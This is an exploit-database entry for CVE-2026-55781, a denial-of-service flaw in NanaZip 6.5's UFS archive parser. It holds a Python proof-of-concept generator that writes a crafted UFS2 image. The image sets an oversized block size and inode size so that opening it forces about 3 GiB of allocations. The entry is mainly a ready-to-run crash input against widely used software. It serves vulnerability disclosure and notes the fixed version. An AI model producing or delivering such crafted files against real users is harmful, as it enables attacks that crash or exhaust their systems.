# Exploit Title: NanaZip 6.5 - DoS
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/M2Team/NanaZip
# Software Link: https://github.com/M2Team/NanaZip/releases
# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)
# Tested on: Windows
# CVE: CVE-2026-55781
# Category: dos
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55781-NanaZip
An attacker-controlled fs_bsize field in a crafted UFS image drives an unbounded allocation in the NanaZip.Codecs UFS handler before any bounds check.
NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source
(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but
was not executed against a running build. Benign — it only generates the malformed carrier file.
--- PoC generator (GHSA-m34h-jf84-m74h.py) ---
#!/usr/bin/env python3
# PoC generator: unbounded memory allocation in NanaZip's UFS parser
# (GHSA-m34h-jf84-m74h).
#
# A 66912-byte UFS2 image. The superblock at SBLOCK_UFS2 (65536) sets
# fs_bsize = 0x40000000 (1 GiB); Open() only enforces the lower bound MINBSIZE.
# Root inode #2 sits at GetInodeOffset(2) = (fs_iblkno=0)*fs_fsize + 2*256 = 512
# with di_size = 1 TiB, so GetInodeInformation() overruns its 12 direct blocks
# and allocates three 1 GiB indirect buffers (NanaZip.Codecs.Archive.Ufs.cpp:
# 435-437) -> ~3 GiB. All superblock field offsets below are the real offsetof()
# values from NanaZip's bundled FreeBSD/fs.h (struct fs, little-endian).
import struct
SB, SBSIZE = 65536, 1376
img = bytearray(SB + SBSIZE)
# --- root inode #2 at file offset 512 (ufs2_dinode) ---
struct.pack_into("<H", img, 512 + 0, 0x4000) # di_mode = IFDIR
struct.pack_into("<h", img, 512 + 2, 1) # di_nlink = 1
struct.pack_into("<Q", img, 512 + 16, 0x10000000000) # di_size = 1 TiB
# --- superblock @ 65536 (offsets = offsetof(struct fs, ...)) ---
struct.pack_into("<i", img, SB + 16, 0) # fs_iblkno
struct.pack_into("<I", img, SB + 44, 1) # fs_ncg
struct.pack_into("<i", img, SB + 48, 0x40000000) # fs_bsize (1 GiB)
struct.pack_into("<i", img, SB + 52, 1) # fs_fsize
struct.pack_into("<i", img, SB + 56, 1) # fs_frag
struct.pack_into("<i", img, SB + 104, SBSIZE) # fs_sbsize (>= sizeof(fs))
struct.pack_into("<q", img, SB + 1000, SB) # fs_sblockloc = SBLOCK_UFS2
struct.pack_into("<I", img, SB + 184, 16) # fs_ipg
struct.pack_into("<i", img, SB + 188, 0) # fs_fpg
struct.pack_into("<i", img, SB + 1320, 0) # fs_maxsymlinklen
struct.pack_into("<I", img, SB + 1372, 0x19540119) # fs_magic = FS_UFS2_MAGIC
with open("poc.img", "wb") as f:
f.write(img)
print(len(img), "bytes ->", "poc.img")
